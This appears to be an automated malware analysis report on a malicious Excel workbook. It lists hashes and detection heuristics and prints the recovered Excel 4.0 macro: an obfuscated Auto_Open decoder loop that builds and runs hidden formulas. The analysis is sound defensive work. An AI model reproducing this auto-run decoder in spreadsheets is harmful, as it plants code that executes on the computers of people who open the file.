Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a9194406fba14186…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:39:40 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: 4e1bd4e80e729ff1299f9bb771a2e835 SHA-1: bb28ca2367188c64b151bd3e2bc7fcdaeb29d991 SHA-256: a9194406fba141865dd0b14a6d8f2d6506f1bfb26344a74c6d97f387dd8158a0
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6522 bytes
SHA-256: 06164c9751bbe3eb153559bd77cda10d2732018766a3a4a85ed4618f8940553c
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  PRMAz
' 0018     24 LABEL : Cell Value, String Constant - aEvTOrYdO len=0 
' 0018     20 LABEL : Cell Value, String Constant - auHuA len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F168 
' 0018     22 LABEL : Cell Value, String Constant - bsrUNHo len=0 
' 0018     21 LABEL : Cell Value, String Constant - bZeusF len=0 
' 0018     23 LABEL : Cell Value, String Constant - eoDBOIjN len=0 
' 0018     26 LABEL : Cell Value, String Constant - gpqdZwplxuQ len=0 
' 0018     24 LABEL : Cell Value, String Constant - HCUekaqnn len=0 
' 0018     23 LABEL : Cell Value, String Constant - iifSdRGj len=0 
' 0018     27 LABEL : Cell Value, String Constant - jxfYQQXieNzf len=0 
' 0018     24 LABEL : Cell Value, String Constant - KfjtmEGGl len=0 
' 0018     23 LABEL : Cell Value, String Constant - lxSrJtvf len=0 
' 0018     24 LABEL : Cell Value, String Constant - mUDuqPNOS len=0 
' 0018     27 LABEL : Cell Value, String Constant - NcvRlEhCbbwf len=0 
' 0018     20 LABEL : Cell Value, String Constant - PkZEF len=0 
' 0018     22 LABEL : Cell Value, String Constant - RNfgyUv len=0 
' 0018     24 LABEL : Cell Value, String Constant - sCcSyNdEF len=0 
' 0018     21 LABEL : Cell Value, String Constant - SNWrtT len=0 
' 0018     20 LABEL : Cell Value, String Constant - UigtY len=0 
' 0018     20 LABEL : Cell Value, String Constant - VOLVC len=0 
' 0018     27 LABEL : Cell Value, String Constant - yteBSzpUPQlD len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  PRMAz,F77,"SET.NAME("PkZEF",VALUE("0"))",""
'  PRMAz,F80,"SET.NAME("HCUekaqnn",PkZEF)",""
'  PRMAz,F82,"SET.NAME("UigtY",PkZEF)",""
'  PRMAz,F87,"SET.NAME("SNWrtT",COUNTA(lxSrJtvf))",""
'  PRMAz,F91,"SET.NAME("jxfYQQXieNzf",COUNTA(auHuA))",""
'  PRMAz,F95,[],""
'  PRMAz,F98,"SET.NAME("KfjtmEGGl","")",""
'  PRMAz,F102,"HCUekaqnn",""
'  PRMAz,F107,"SET.NAME("VOLVC",HLOOKUP("*",lxSrJtvf,HCUekaqnn,FALSE))",""
'  PRMAz,F110,"mUDuqPNOS",""
'  PRMAz,F115,"SET.NAME("bsrUNHo",PkZEF)",""
'  PRMAz,F120,[],""
'  PRMAz,F124,"bsrUNHo",""
'  PRMAz,F127,"sCcSyNdEF",""
'  PRMAz,F130,"iifSdRGj",""
'  PRMAz,F132,"bZeusF",""
'  PRMAz,F135,"SET.NAME("yteBSzpUPQlD",VALUE(HLOOKUP("*",auHuA,bZeusF,FALSE)))",""
'  PRMAz,F137,"gpqdZwplxuQ",""
'  PRMAz,F141,"KfjtmEGGl",""
'  PRMAz,F144,"UigtY",""
'  PRMAz,F146,NEXT(),""
'  PRMAz,F150,"eoDBOIjN",""
'  PRMAz,F152,"SET.NAME("f",INT(T(FORMULA(T(KfjtmEGGl)&"",""&T(eoDBOIjN)))))",""
'  PRMAz,F156,"aEvTOrYdO",""
'  PRMAz,F161,NEXT(),""
'  PRMAz,F163,RETURN(),""
'  PRMAz,F184,"SET.NAME("NcvRlEhCbbwf",F77)",""
'  PRMAz,F188,"lxSrJtvf",""
'  PRMAz,F192,"SET.NAME("auHuA",R74C13)",""
'  PRMAz,F194,"SET.NAME("aEvTOrYdO",202)",""
'  PRMAz,F196,"SET.NAME("RNfgyUv",6)",""
'  PRMAz,F201,NcvRlEhCbbwf(),""
'  PRMAz,F202,HALT(),""

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